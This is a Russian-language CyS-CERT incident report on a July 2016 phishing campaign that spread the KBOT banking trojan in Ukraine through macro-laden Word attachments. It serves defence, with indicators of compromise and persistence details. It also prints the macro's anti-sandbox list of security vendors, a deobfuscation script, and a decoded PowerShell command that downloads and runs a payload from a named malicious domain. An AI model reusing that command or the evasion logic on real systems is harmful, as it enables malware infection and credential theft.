Массовая атака на пользователей украинского сегмента сети Интернет

14 июля 2016 года произведена масштабная атака на пользователей украинского сегмента сети Интернет с использованием троянской программы Bolek/KBOT. Подробности атаки описаны в статье

Ситуация в сфере «кибер» продолжает усугубляться – атаки, не успев войти в тренд, сменяются новыми. Не беря во внимание перманентную деятельность, связанную с кибершпионажем (который всё больше «сливается» с миром киберпреступности), тяжело представить какой еще «денежный» актив в нашей стране – PoS-терминал, банкомат, системы клиент-банк или SWIFT, остался без внимания злоумышленников.

Так, 14 июля 2016 года произведена одна из самых масштабных спам-рассылок (сродни истории «Привет :) тебе фото»), посредством которой злоумышленники распространили вредоносную программу Bolek/KBOT среди пользователей украинского сегмента сети Интернет. Эта вредоносная программа представляет собой многокомпонентный полиморфный файловый вирус, способный поражать 32/64-битные операционные системы Windows. Функционал вредоноса предусматривает техническую возможность реализации веб-инжектов, перехвата трафика, создания снимков экрана, логирования нажатий на клавиши и кражи аутентификационных данных (в первую очередь – от систем онлайн-банкинга). Более того, KBOT может предоставлять злоумышленникам удаленный несанкционированный доступ к зараженной системе посредством обратного RDP-подключения, обеспечивать удаленное выполнение команд, а также запускать локальный SOCKS5 и HTTP-сервер. Большинство возможностей KBOT позаимствовано у троянских программ Carberp и ZeuS. Для контекста отметим, что в начале мая 2016 года KBOT был применен в атаках на граждан Польши, о чем свидетельствуют статьи на сайте CERT.PL [1], ASERT [2] и PhishMe [3].

Итак, вернемся в Украину. В первой половине четверга 14 июля 2016 года электронные почтовые ящики «прогнулись» под множеством активно рассылаемых писем, все как одно сообщающих о, якобы, оформлении получателем кредита, возникновении некой немалой задолженности и необходимости её покрытия в кратчайшие сроки. Конечно же, письмо содержало вложение в виде документа MS Word. Пример такого письма отображен на рис. 1.

Рис. 1

Письма отправлялись с абсолютно нормальных доменов, таких как @hispeed.ch, @t-online.de, @bluewin.ch. Сами email’ы имели высокий уровень персонификации – помимо того, что тема письма и имя вложения формировались с учетом имени учетной записи электронной почты получателя, так еще и в письме по тексту упоминалось релевантное для получателя банковское учреждение. Вместе с тем, в тексте письма присутствовали некоторые грамматические ошибки. Среди множества проанализированных образцов можно выделить такие шаблонные составляющие названий вложений:

ПОВІСТКА
ПОВІСТКА_ПРО ВИКЛИК
Договір
Договір_займу
Договір_позички
примірник
Позов
Позов_примірник
Угоду_про_кредитування
Угоду_про_видачу безготівкового_кредиту
Кредитний_договір

Исходя из данных VirusTotal, несмотря на невиданное количество аналогичных, но разных (!) документов, среднее количество антивирусных продуктов, узревших угрозу, составляло 2 (Fortinet и Qihoo-360). Как оказалось, присылаемые документы содержали обфусцированный и достаточно «хитрый» макрос, с выдержками из содержимого которого предлагаем ознакомиться ниже. Всего в документе было три VBA «компонента»:

ThisDocument.cls (основная часть)
Module1.bas (поиск подстроки в строке)
Module2.bas (деобфускация)

Конечная цель макроса – скачивание и запуск исполняемого файла. Вместе с тем, «хитрый» макрос также осуществляет ряд проверок (в случае их «провала» скачивания вредоноса не произойдет):

Bad_username: имя текущего пользователя не должно быть «PSPUBWS» (стандартное имя пользователя в «песочнице» Payload Security)

Bad_history: количество недавно использованных файлов не должно быть меньше трёх

Bad_ISP: с помощью макроса и запроса на https://wtfismyip.com/json определяется IP-адрес и его атрибуты. Строки из списка не должны присутствовать среди «атрибутов» IP-адреса (ответа wtfismyip.com)

список:

Amazon, Anonymous, Bitdefender, Blue Coat, Cisco Systems, Cloud, Data Center, Datacenter, Dedicated, ESET spol, FireEye, Forcepoint, Fortinet, Hetzner, Hosted, Hosting, LeaseWeb, Microsoft, NForce, OVH SAS, Proofpoint, Security, Server, Strong Technologies, Trend Micro, Trustwave, blackoakcomputers, mimecast

ответ:

{
   "YourFuckingIPAddress": "1.2.3.4",
   "YourFuckingLocation": "Kiev, 10, Ukraine",
   "YourFuckingHostname": "4.3.2.1.isp.net",
   "YourFuckingISP": "ISP",
   "YourFuckingTorExit": "false"
}

Для обфускации макроса применен алгоритм, заключающийся в вычислении позиции искомого символа в данной строке с использованием операций сложения и деления по модулю при двух данных константах. Структура обфусцированной строки следующая: s("строка", var1, var2). Пример скрипта, обеспечивающего деобфускацию строк, приведен ниже.

import sys
if __name__ == "__main__":
      obf = sys.argv[1]
      var1 = int(sys.argv[2])
      var2 = int(sys.argv[3])
      slen = len(obf)
      deobf = ""
      var1 = var1 % slen
      for i in range( slen ):
            deobf += obf[var1]
            var1 = (var1 + var2) % slen
      print deobf

Примеры деобфускации двух строк из макроса приведены ниже.

$ python s.py "Howeuc tenh-nyn co.cisSdas oBie-plelswdmrei Wl  lxoaoimexty-yndeEPpd" 576 325
 
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command
 
$ python s.py ")lr)eclmt)peEowmWttIeeb(naliobabrt\$ilmSae:tnsS h;li.tot.e;:wxnnpSs.Owlj\$tdepmCtjo fneehfn: sty\$t()/DTmaNm(/-etlFc.W.-fef.FNt/lhecS='((eatG-uesftN.coe ne.N/OceoircePOac)bia.si]coy[,'" 1301 1134

$f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://elfaroconsultants.com/safari/content.bin', $f);(New-Object -com WScript.Shell).Exec($f)

В случае выполнения всех условий, с помощью PowerShell по ссылке будет скачан и выполнен исполняемый файл «content.bin». Этот файл является вредоносной программой (загрузчиком) KBOT. После запуска вредоносная программа инжектируется в процесс «svchost.exe» а также обеспечивает перманентность своего пребывания в пораженной системе. В данном случае применяется механизм создания задачи Windows, для чего в директории «C:\Windows\system32\Task\» создается задача с произвольным {rand} именем. Кроме того, при активации вредоносной программы в директории «C:\Windows\system32\» создается папка с произвольным именем, в которой, в свою очередь, создаются три файла, два из которых имеют расширение «.exe» и «.dll», а третий – произвольное. Как уже описано в статье PhishMe [3], для запуска вредоноса используется легитимная программа и модифицированная, тоже легитимная, DLLка. Отметим только (по данным VirusTotal), что с момента начала атаки (~11:00) и до 21:00 (то есть, первые 10 часов), вредоносная программа детектировалась лишь двумя антивирусами: McAfee-GW-Edition и Sophos (Qihoo-360 задетектил также, но потом передумал). Через час появилось срабатывание у Kaspersky. К 12:00 15.07.2016 (больше чем через сутки) «подтянулись» и другие антивирусные продукты.

Пример конфигурационного файла KBOT отображен ниже. Отметим, что при анализе данного образца вредоносной программы обнаружено более 140 доменов, которые могут быть использованы сервером управления бот-сетью (вероятно, применен алгоритм динамического формирования доменных имен, DGA).

"TaskPeriod": 3,
"FailPeriod": 3,
"ServerPub": [публичный ключ (Curve25519)]
"BotCommunity": "off"
"Hosts": [домены]

Индикаторы компрометации:

8f2f9c2a1bd303f0a0a0861e4c564931
http://elfaroconsultants.com
https://wtfismyip.com
acuterexen.com
shougunj.com
195.22.28.198:80
52.23.245.170:80
C:\Windows\system32\Task\{rand}
C:\Windows\system32\{rand}\{rand}.exe
C:\Windows\system32\{rand}\{rand}.dll
C:\Windows\system32\{rand}\{rand}.{rand}

 

 

Отдел реагирования на инциденты CyS Centrum (CyS-CERT)

Использованные материалы:
[1] https://www.cert.pl/en/news/single/newest-addition-a-happy-family-kbot/
[2] https://www.arbornetworks.com/blog/asert/communications-bolek-trojan/
[3] http://phishme.com/bolek-leaked-carberp-kbot-source-code-complicit-new-phishing-campaigns/